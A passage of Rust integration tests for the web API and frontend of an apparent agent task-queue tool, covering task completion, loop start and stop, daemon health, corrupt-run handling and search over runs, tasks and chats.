17619 .await;
17620 assert_eq!(priority.status, 409, "{}", priority.body);
17621
17622 let edit = f
17623 .post(
17624 &format!("/api/queue/{}/edit", task.id),
17625 Some(r#"{"title":"x","instruction":"y"}"#),
17626 )
17627 .await;
17628 assert_eq!(edit.status, 409, "{}", edit.body);
17629 }
17630
17631 #[tokio::test]
17632 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17633 let f = Fixture::start().await;
17634 let queue = f.queue();
17635 let mut task = Task::new(
17636 "shipped by hand".to_owned(),
17637 "merged outside the loop".to_owned(),
17638 PathBuf::from("/repo/magi"),
17639 Source::Agent {
17640 run: "20260101-000000-b455".to_owned(),
17641 node: "implement".to_owned(),
17642 },
17643 );
17644 task.runs.push("20260101-000000-b455".to_owned());
17645 task.runs.push("20260101-000000-9af4".to_owned());
17646 queue.put(&mut task).expect("file the task");
17647 let created_at = task.created_at;
17648
17649 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17650 assert_eq!(done.status, 200, "{}", done.body);
17651 assert_eq!(done.json()["status_str"], "done");
17652
17653 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17654 assert_eq!(
17655 reloaded.runs,
17656 ["20260101-000000-b455", "20260101-000000-9af4"]
17657 );
17658 assert_eq!(
17659 reloaded.source,
17660 Source::Agent {
17661 run: "20260101-000000-b455".to_owned(),
17662 node: "implement".to_owned(),
17663 }
17664 );
17665 assert_eq!(reloaded.created_at, created_at);
17666 }
17667
17668 #[tokio::test]
17669 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17670 let f = Fixture::start().await;
17675 let queue = f.queue();
17676 let mut task = Task::new(
17677 "landed while held".to_owned(),
17678 "x".to_owned(),
17679 PathBuf::from("/repo/magi"),
17680 Source::Human,
17681 );
17682 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17683 queue.put(&mut task).expect("file the held task");
17684
17685 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17686 assert_eq!(done.status, 200, "{}", done.body);
17687 assert_eq!(done.json()["status_str"], "done");
17688 assert!(
17689 done.json()["hold_reason"].is_null(),
17690 "a done task cannot still be waiting on something: {}",
17691 done.body
17692 );
17693 }
17694
17695 #[tokio::test]
17696 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17697 let f = Fixture::start().await;
17702 let queue = f.queue();
17703 let runs = f.runs();
17704 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17705 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17709
17710 let mut task = Task::new(
17711 "landed by hand".to_owned(),
17712 "x".to_owned(),
17713 PathBuf::from("/repo/magi"),
17714 Source::Human,
17715 );
17716 task.runs.push("20260101-000000-doa1".to_owned());
17717 task.runs.push("20260101-000000-doa2".to_owned());
17718 queue.put(&mut task).expect("file the task");
17719
17720 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17721 assert_eq!(done.status, 200, "{}", done.body);
17722
17723 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17724 .expect("run still on disk under this fixture's own home");
17725 assert_eq!(
17726 reloaded_run.status,
17727 RunStatus::Superseded,
17728 "closing the task by hand must relabel the earlier blocked attempt exactly \
17729 like the loop's own settle path does"
17730 );
17731 }
17732
17733 #[tokio::test]
17734 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17735 let f = Fixture::start().await;
17740 let queue = f.queue();
17741 let runs = f.runs();
17742 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17743 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17744
17745 let mut task = Task::new(
17746 "closed with nothing actually landed".to_owned(),
17747 "x".to_owned(),
17748 PathBuf::from("/repo/magi"),
17749 Source::Human,
17750 );
17751 task.runs.push("20260101-000000-dob1".to_owned());
17752 task.runs.push("20260101-000000-dob2".to_owned());
17753 queue.put(&mut task).expect("file the task");
17754
17755 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17756 assert_eq!(done.status, 200, "{}", done.body);
17757
17758 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17759 .expect("run still on disk under this fixture's own home");
17760 assert_eq!(
17761 reloaded_run.status,
17762 RunStatus::Blocked,
17763 "the last recorded attempt never landed, so the earlier one must not be \
17764 relabelled as superseded by it"
17765 );
17766 }
17767
17768 #[tokio::test]
17769 async fn unknown_ids_are_json_not_found_on_both_stores() {
17770 let f = Fixture::start().await;
17771
17772 let run = f.get("/api/runs/nosuchrun").await;
17773 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17774
17775 assert_eq!(run.status, 404);
17776 assert_eq!(task.status, 404);
17777 assert!(
17778 run.json()["error"]
17779 .as_str()
17780 .is_some_and(|e| e.contains("run")),
17781 "the error names what was not found: {}",
17782 run.body
17783 );
17784 assert!(
17785 task.json()["error"]
17786 .as_str()
17787 .is_some_and(|e| e.contains("task")),
17788 "the error names what was not found: {}",
17789 task.body
17790 );
17791 }
17792
17793 #[tokio::test]
17794 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17795 let f = Fixture::start().await;
17796
17797 let missing = f.get("/api/health").await.json();
17798 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17799
17800 write_daemon(
17801 f.home.path(),
17802 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17803 );
17804 let stale = f.get("/api/health").await.json();
17805 assert_eq!(
17806 stale["daemon"]["running"], false,
17807 "a minute without a heartbeat is a dead daemon, not a busy one"
17808 );
17809 assert!(
17810 stale["daemon"]["stale_for_secs"]
17811 .as_i64()
17812 .is_some_and(|s| s >= 55),
17813 "staleness is reported so the UI can say how long: {stale}"
17814 );
17815
17816 write_daemon(f.home.path(), Timestamp::now());
17817 let fresh = f.get("/api/health").await.json();
17818 assert_eq!(fresh["daemon"]["running"], true);
17819 assert_eq!(fresh["daemon"]["idle"], false);
17820 assert_eq!(fresh["daemon"]["pid"], 4242);
17821 assert_eq!(fresh["daemon"]["completed"], 7);
17822 assert_eq!(
17823 fresh["daemon"]["current"][0]["task"],
17824 "20260902-140501-aaaa"
17825 );
17826 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17827 }
17828
17829 #[tokio::test]
17830 async fn the_loop_is_not_running_until_something_starts_it() {
17831 let f = Fixture::start().await;
17832
17833 let view = f.get("/api/loop").await.json();
17834 assert_eq!(view["running"], false);
17835 assert_eq!(
17836 view["owned"], false,
17837 "nobody owns a loop that does not exist: {view}"
17838 );
17839 assert_eq!(view["stopping"], false);
17840 assert_eq!(view["last_error"], Value::Null);
17841 assert_eq!(view["daemon"]["running"], false);
17842 assert_eq!(
17843 view["repo"], "/repo/magi",
17844 "the repository a start would use, named before it is started"
17845 );
17846 }
17847
17848 #[tokio::test]
17849 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17850 let f = Fixture::start().await;
17851
17852 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17853 assert_eq!(res.status, 200, "{}", res.body);
17854 let view = res.json();
17855 assert_eq!(view["running"], true);
17856 assert_eq!(
17857 view["owned"], true,
17858 "the loop the UI started is the UI's own to stop: {view}"
17859 );
17860 assert_eq!(
17861 view["merge"],
17862 Value::Null,
17863 "no override was given, so each repository's own config decides"
17864 );
17865
17866 let health = f.get("/api/health").await.json();
17870 assert_eq!(health["loop"]["running"], true, "{health}");
17871 assert_eq!(health["loop"]["owned"], true, "{health}");
17872
17873 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17874 }
17875
17876 #[tokio::test]
17877 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17878 let f = Fixture::start().await;
17879 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17880 assert_eq!(first.status, 200, "{}", first.body);
17881
17882 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17883 assert_eq!(
17884 again.status, 409,
17885 "two loops on one queue race for the same claims: {}",
17886 again.body
17887 );
17888 assert!(
17889 again.json()["error"]
17890 .as_str()
17891 .is_some_and(|e| e.contains("already running the loop")),
17892 "the refusal has to say why: {}",
17893 again.body
17894 );
17895 assert_eq!(
17896 f.get("/api/loop").await.json()["running"],
17897 true,
17898 "and the loop that was already running is untouched by it"
17899 );
17900
17901 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17902 }
17903
17904 #[tokio::test]
17905 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17906 let f = Fixture::start().await;
17907 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17908
17909 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17910 assert_eq!(
17911 res.status, 200,
17912 "the answer must not wait for the loop: a run in flight is tens of \
17913 minutes and the operator is holding a phone: {}",
17914 res.body
17915 );
17916
17917 let view = settled(&f, |v| v["running"] == false).await;
17918 assert_eq!(view["owned"], false);
17919 assert_eq!(
17920 view["stopping"], false,
17921 "a loop that has stopped is not still stopping: {view}"
17922 );
17923 assert_eq!(
17924 view["last_error"],
17925 Value::Null,
17926 "a loop that was asked to stop did not fail: {view}"
17927 );
17928
17929 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17932 assert_eq!(twice.status, 200, "{}", twice.body);
17933 }
17934
17935 #[tokio::test]
17936 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17937 let f = Fixture::start().await;
17938 write_daemon(f.home.path(), Timestamp::now());
17941
17942 let view = f.get("/api/loop").await.json();
17943 assert_eq!(view["running"], false, "not in this process: {view}");
17944 assert_eq!(view["owned"], false, "and not this process's to control");
17945 assert_eq!(
17946 view["daemon"]["running"], true,
17947 "but a loop is alive somewhere, which is what the UI must say"
17948 );
17949 assert_eq!(view["daemon"]["pid"], 4242);
17950
17951 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17952 let res = f.post("/api/loop", Some(body)).await;
17953 assert_eq!(
17954 res.status, 409,
17955 "neither button may pretend to work on someone else's loop: {}",
17956 res.body
17957 );
17958 assert!(
17959 res.json()["error"]
17960 .as_str()
17961 .is_some_and(|e| e.contains("4242")),
17962 "the refusal has to name the process the operator must go to: {}",
17963 res.body
17964 );
17965 }
17966 assert_eq!(
17967 f.get("/api/loop").await.json()["running"],
17968 false,
17969 "and the refusal started nothing"
17970 );
17971 }
17972
17973 #[tokio::test]
17974 async fn a_stale_status_file_is_not_a_foreign_owner() {
17975 let f = Fixture::start().await;
17976 write_daemon(
17977 f.home.path(),
17978 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17979 );
17980
17981 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17982 assert_eq!(
17983 res.status, 200,
17984 "a daemon killed a minute ago must not lock the loop out of its \
17985 own home for good: {}",
17986 res.body
17987 );
17988 assert_eq!(res.json()["running"], true);
17989
17990 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17991 }
17992
17993 #[tokio::test]
17994 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17995 let f = Fixture::start().await;
17996 let before = f.get("/api/health").await.json()["loop_rev"]
17997 .as_u64()
17998 .expect("a loop revision");
17999
18000 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18001
18002 let after = f.get("/api/health").await.json()["loop_rev"]
18003 .as_u64()
18004 .expect("a loop revision");
18005 assert!(
18006 after > before,
18007 "the loop is in-process state, so this counter is the only thing \
18008 that tells a second device the first one started it: {before} -> \
18009 {after}"
18010 );
18011
18012 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18013 }
18014
18015 #[tokio::test]
18016 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18017 let f = Fixture::with_loop(launch_broken).await;
18018
18019 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18020 assert_eq!(
18021 res.status, 200,
18022 "starting it is not the failure: {}",
18023 res.body
18024 );
18025
18026 let view = settled(&f, |v| v["last_error"].is_string()).await;
18027 assert_eq!(
18028 view["running"], false,
18029 "a loop that died must not read as running, or the operator has \
18030 nothing to press: {view}"
18031 );
18032 assert_eq!(view["owned"], false);
18033 assert!(
18034 view["last_error"]
18035 .as_str()
18036 .is_some_and(|e| e.contains("read-only file system")),
18037 "the phone is where a loop that died at 3am is visible: {view}"
18038 );
18039
18040 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18043 assert_eq!(again.status, 200, "{}", again.body);
18044 assert!(
18045 again.json()["last_error"]
18046 .as_str()
18047 .is_none_or(|e| !e.contains("read-only file system")),
18048 "a fresh start does not keep showing why the last one died: {}",
18049 again.body
18050 );
18051 }
18052
18053 #[tokio::test]
18054 async fn a_newer_daemon_status_file_still_renders() {
18055 let f = Fixture::start().await;
18056 std::fs::write(
18059 f.home.path().join("daemon.json"),
18060 serde_json::json!({
18061 "schema": 2,
18062 "updated_at": Timestamp::now().to_string(),
18063 "idle": true,
18064 "surprise": { "nested": [1, 2, 3] },
18065 })
18066 .to_string(),
18067 )
18068 .expect("write daemon.json");
18069
18070 let health = f.get("/api/health").await;
18071
18072 assert_eq!(health.status, 200);
18073 assert_eq!(health.json()["daemon"]["running"], true);
18074 }
18075
18076 #[tokio::test]
18077 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18078 let f = Fixture::start().await;
18079 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18080 let broken = f.runs().join("20260902-140502-bad");
18081 std::fs::create_dir_all(&broken).expect("run dir");
18082 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18083
18084 let list = f.get("/api/runs").await;
18085 let detail = f.get("/api/runs/20260902-140502-bad").await;
18086
18087 assert_eq!(list.status, 200);
18088 let listed = list.json();
18089 let ids: Vec<&str> = listed
18090 .as_array()
18091 .expect("an array")
18092 .iter()
18093 .map(|r| r["id"].as_str().expect("an id"))
18094 .collect();
18095 assert_eq!(
18096 ids,
18097 vec!["20260902-140501-good"],
18098 "one unreadable run must not cost the operator the whole history"
18099 );
18100 assert_eq!(detail.status, 500);
18101 assert!(
18102 detail.json()["error"]
18103 .as_str()
18104 .is_some_and(|e| e.contains("run.json")),
18105 "the failure names the file to look at: {}",
18106 detail.body
18107 );
18108 let health = f.get("/api/health").await;
18112 assert_eq!(health.json()["runs_unreadable"], 1);
18113 }
18114
18115 #[tokio::test]
18117 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18118 let f = Fixture::start().await;
18119 let runs = f.runs();
18120 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18121 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18122 let path = runs.join("20260902-140502-bbbb").join("run.json");
18125 let mut v: serde_json::Value =
18126 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18127 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18128 std::fs::write(&path, v.to_string()).unwrap();
18129 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18130 std::fs::write(
18131 runs.join("20260902-140503-cccc").join("run.json"),
18132 "{ not json",
18133 )
18134 .unwrap();
18135
18136 let res = f.get("/api/search?scope=runs&q=quokka").await;
18137 assert_eq!(res.status, 200, "{}", res.body);
18138 let v = res.json();
18139 assert_eq!(v["total"], 1, "{v}");
18140 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18141 assert_eq!(v["hits"][0]["field"], "text");
18142 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18143 let parts = v["hits"][0]["snippet"].as_array().unwrap();
18144 assert!(
18145 parts
18146 .iter()
18147 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18148 "{v}"
18149 );
18150 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18151 assert_eq!(
18152 flat, "The Quokka leaks across threads",
18153 "whitespace is collapsed"
18154 );
18155
18156 let both = f
18158 .get("/api/search?scope=runs&q=MOBILE%20quokka")
18159 .await
18160 .json();
18161 assert_eq!(both["total"], 1, "{both}");
18162 let neither = f
18163 .get("/api/search?scope=runs&q=quokka%20zebra")
18164 .await
18165 .json();
18166 assert_eq!(neither["total"], 0, "{neither}");
18167 let stmt = f
18169 .get("/api/search?scope=runs&q=mobile%20first")
18170 .await
18171 .json();
18172 assert_eq!(stmt["total"], 2, "{stmt}");
18173 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18174 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18175 }
18176
18177 #[test]
18178 fn snippet_ignores_terms_longer_than_the_field() {
18179 let terms = ["ok".to_owned(), "elephant".to_owned()];
18180 let parts = snippet_of("ok", &terms);
18181 assert_eq!(
18182 parts,
18183 vec![SnippetPart {
18184 text: "ok".to_owned(),
18185 hit: true
18186 }]
18187 );
18188 }
18189
18190 #[test]
18191 fn snippet_marks_matches_longer_than_the_window() {
18192 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18193 let hit_len = |parts: &[SnippetPart]| -> usize {
18194 parts
18195 .iter()
18196 .filter(|p| p.hit)
18197 .map(|p| p.text.chars().count())
18198 .sum()
18199 };
18200 let total =
18201 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18202
18203 let long = "a".repeat(120);
18204 let parts = snippet_of(&long, std::slice::from_ref(&long));
18205 assert!(hit_len(&parts) > 0, "{parts:?}");
18206 assert!(total(&parts) <= cap);
18207
18208 let ja = "あ".repeat(130);
18209 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18210 assert!(hit_len(&parts) > 0, "{parts:?}");
18211 assert!(total(&parts) <= cap);
18212
18213 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18215 let term = format!("ab{}", "c".repeat(100));
18216 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18217 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18218 assert!(total(&parts) <= cap);
18219
18220 let text = format!("{}z", "a".repeat(119));
18222 let parts = snippet_of(&text, &["a".repeat(120)]);
18223 assert_eq!(hit_len(&parts), 0, "{parts:?}");
18224 }
18225
18226 #[tokio::test]
18227 async fn search_caps_hits_and_snippet_length() {
18228 let f = Fixture::start().await;
18229 let runs = f.runs();
18230 for n in 0..(SEARCH_MAX_HITS + 5) {
18231 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18232 }
18233 let v = f.get("/api/search?scope=runs&q=web").await.json();
18234 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18235 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18236 assert_eq!(v["truncated"], true);
18237 assert!(
18239 v["hits"]
18240 .as_array()
18241 .unwrap()
18242 .iter()
18243 .all(|h| h["run"]["status"] == "merged")
18244 );
18245
18246 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18247 let parts = snippet_of(&long, &["needle".to_owned()]);
18248 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18249 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18250 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18251 }
18252
18253 #[tokio::test]
18254 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18255 let f = Fixture::start().await;
18256 let queue = f.queue();
18257 let mut t = Task::new(
18258 "short title".to_owned(),
18259 "line one\nthe hidden Armadillo detail".to_owned(),
18260 PathBuf::from("/repo/magi"),
18261 Source::Agent {
18262 run: "r1".to_owned(),
18263 node: "chat".to_owned(),
18264 },
18265 );
18266 t.last_error = Some("disk full on /tmp".to_owned());
18267 queue.put(&mut t).expect("file the task");
18268
18269 for (q, want) in [
18270 ("armadillo", 1),
18271 ("disk%20FULL", 1),
18272 ("chat", 1),
18273 ("queued", 1),
18274 ("short%20nothing", 0),
18275 ] {
18276 let v = f
18277 .get(&format!("/api/search?scope=tasks&q={q}"))
18278 .await
18279 .json();
18280 assert_eq!(v["total"], want, "{q}: {v}");
18281 }
18282 for bad in [
18283 "/api/search?scope=tasks&q=",
18284 "/api/search?scope=tasks&q=%20",
18285 "/api/search?scope=chats&q=",
18286 "/api/search?scope=chats&q=%20",
18287 "/api/search?scope=nope&q=a",
18288 "/api/search?q=a",
18289 ] {
18290 assert_eq!(f.get(bad).await.status, 400, "{bad}");
18291 }
18292 }
18293
18294 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18296 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18297 .expect("seat value");
18298 let turns: Vec<serde_json::Value> = turns
18299 .iter()
18300 .map(|(who, body)| {
18301 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18302 })
18303 .collect();
18304 let doc = serde_json::json!({
18305 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18306 "status": status, "turns": turns,
18307 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18308 "seat": seat,
18309 });
18310 let dir = f.home.path().join("talks");
18311 std::fs::create_dir_all(&dir).expect("talks dir");
18312 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18313 }
18314
18315 #[test]
18316 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18317 let mut talk: Talk = serde_json::from_value(serde_json::json!({
18318 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18319 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18320 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18321 "seat": crate::agent::SeatState::new("talk", "test", 1)
18322 })).unwrap();
18323 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18324 talk.title = Some(talk::ChatTitle {
18325 text: "最近の話題".into(),
18326 source: talk::TitleSource::Generated,
18327 });
18328 let doc = talk_search_doc(&talk);
18329 assert_eq!(doc["title"], "最近の話題");
18330 assert_eq!(doc["turns"][0]["operator"], "古い話題");
18331 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18332 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18333 }
18334
18335 #[tokio::test]
18336 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18337 let f = Fixture::start().await;
18338 write_talk(
18339 &f,
18340 "20260901-000001-aaaa",
18341 "open",
18342 &[
18343 (
18344 "operator",
18345 "\n Why does the Pangolin cache expire?\nsecond line",
18346 ),
18347 ("agent", "Because the TTL is thirty seconds."),
18348 ],
18349 );
18350 write_talk(
18351 &f,
18352 "20260901-000002-bbbb",
18353 "closed",
18354 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18355 );
18356 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18357
18358 let search = |q: &'static str| {
18359 let f = &f;
18360 async move {
18361 f.get(&format!("/api/search?scope=chats&q={q}"))
18362 .await
18363 .json()
18364 }
18365 };
18366
18367 let v = search("PANGOLIN").await;
18368 assert_eq!(v["scope"], "chats");
18369 assert_eq!(v["total"], 1, "{v}");
18370 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18371 assert_eq!(v["hits"][0]["field"], "title");
18372 assert_eq!(v["unreadable"], 1, "{v}");
18373 let marked: Vec<&str> = v["hits"][0]["snippet"]
18374 .as_array()
18375 .unwrap()
18376 .iter()
18377 .filter(|p| p["hit"] == true)
18378 .map(|p| p["text"].as_str().unwrap())
18379 .collect();
18380 assert_eq!(marked, ["Pangolin"]);
18381
18382 let v = search("zebra").await;
18384 assert_eq!(v["total"], 1, "{v}");
18385 assert_eq!(v["hits"][0]["field"], "agent");
18386 assert_eq!(search("pangolin%20thirty").await["total"], 1);
18388 assert_eq!(search("pangolin%20zebra").await["total"], 0);
18389 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18391 assert_eq!(search(q).await["total"], 0, "{q}");
18392 }
18393 assert_eq!(search("second").await["hits"][0]["field"], "operator");
18395 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18397
18398 let v = f.get("/api/search?scope=nope&q=a").await;
18399 assert_eq!(v.status, 400);
18400 assert!(
18401 v.body.contains("scope must be runs, tasks or chats"),
18402 "{}",
18403 v.body
18404 );
18405 }
18406
18407 #[test]
18408 fn a_question_card_links_a_task_id_to_the_task_page() {
18409 let start = APP_JS
18410 .find("function updateAskCard(")
18411 .expect("updateAskCard exists");
18412 let body = &APP_JS[start..];
18413 let body = &body[..body.find("\n}\n").expect("function end")];
18414 assert!(body.contains("question.run_is_task"));
18415 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18416 assert!(body.contains("`#/runs/${question.run}`"));
18417 assert!(body.contains("\"task\" : \"run\""));
18418 }
18419
18420 #[test]
18421 fn plain_text_message_surfaces_go_through_linkify() {
18422 assert!(APP_JS.contains("function linkify("));
18423 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18424 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18425 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18426 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18427 assert!(!APP_JS.contains("innerHTML = text"));
18428 }
18429
18430 #[test]
18431 fn implementation_rate_views_keep_independent_samples() {
18432 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18433 let a = stats::AgentStats {
18434 competitive_entered: competitive_n,
18435 competitive_wins: usize::from(competitive_n > 0),
18436 solo_entered: solo_n,
18437 solo_adopted: 2 * usize::from(solo_n > 0),
18438 ..Default::default()
18439 };
18440 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18441 for (key, n, numerator) in [
18442 ("competitive_win_rate", competitive_n, a.competitive_wins),
18443 ("solo_adoption_rate", solo_n, a.solo_adopted),
18444 ] {
18445 if n == 0 {
18446 assert!(v[key].is_null());
18447 } else {
18448 assert_eq!(v[key]["denominator"], n);
18449 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18450 }
18451 }
18452 }
18453 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18454 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18455 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18456 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18457 }
18458
18459 #[test]
18460 fn stats_bars_share_one_id_keyed_plan() {
18461 let start = APP_JS
18462 .find("function statsBarRows(")
18463 .expect("statsBarRows exists");
18464 let body = &APP_JS[start..];
18465 let body = &body[..body.find("\n}\n").expect("function end")];
18466 assert!(body.contains("statsBarPlan(rows)"));
18467 assert!(body.contains("statsAgentTone(row.agent)"));
18468 assert!(!body.contains("candTone(i)"));
18469 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18470 for root in [
18471 "stats-agents-bars",
18472 "stats-solo-bars",
18473 "stats-reviewers-bars",
18474 ] {
18475 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18476 }
18477 }
18478
18479 #[test]
18480 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18481 let start = APP_JS
18482 .find("function renderStatsReviewerScatter(")
18483 .expect("renderStatsReviewerScatter exists");
18484 let body = &APP_JS[start..];
18485 let body = &body[..body.find("\n}\n").expect("function end")];
18486 assert!(body.contains("statsScatterPlan(reviewers)"));
18487 assert!(body.contains("statsAgentTone(d.agent)"));
18488 assert!(APP_JS.contains("function statsScatterPlan("));
18489 assert!(
18490 APP_JS.contains("d.submitted < STATS_LOW_N")
18491 || APP_JS.contains("r.submitted < STATS_LOW_N")
18492 );
18493 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18494 assert!(APP_CSS.contains(".precision-scatter"));
18495 }
18496
18497 #[test]
18498 fn advisor_reflection_is_drawn_as_stacked_segments() {
18499 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18500 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18501 let html = include_str!("../assets/ui/index.html");
18502 assert!(html.contains("Approximate"));
18503 for label in ["reflected strongly", "faint", "no proposal"] {
18504 assert!(html.contains(label));
18505 }
18506 let css = include_str!("../assets/ui/app.css");
18507 for c in ["refl-strong", "refl-faint", "refl-absent"] {
18508 assert!(css.contains(&format!(".{c} {{")));
18509 }
18510 }
18511
18512 #[test]
18513 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18514 assert!(APP_JS.contains("function statsDailyPlan("));
18515 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18516 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18517 }
18518
18519 #[test]
18520 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18521 let start = APP_JS
18522 .find("function scheduleSearch(")
18523 .expect("scheduleSearch exists");
18524 let body = &APP_JS[start..];
18525 let body = &body[..body.find("\n}\n").expect("function end")];
18526 assert!(body.contains("s.seq += 1"));
18527 }
18528
18529 #[tokio::test]
18534 async fn stats_runs_unreadable_matches_health() {
18535 let f = Fixture::start().await;
18536 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18537 let broken = f.runs().join("20260902-140502-bad");
18538 std::fs::create_dir_all(&broken).expect("run dir");
18539 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18540
18541 let stats = f.get("/api/stats").await;
18542 let health = f.get("/api/health").await;
18543
18544 assert_eq!(stats.status, 200);
18545 assert_eq!(stats.json()["totals"]["runs"], 1);
18546 assert_eq!(stats.json()["runs_unreadable"], 1);
18547 assert_eq!(
18548 stats.json()["runs_unreadable"],
18549 health.json()["runs_unreadable"],
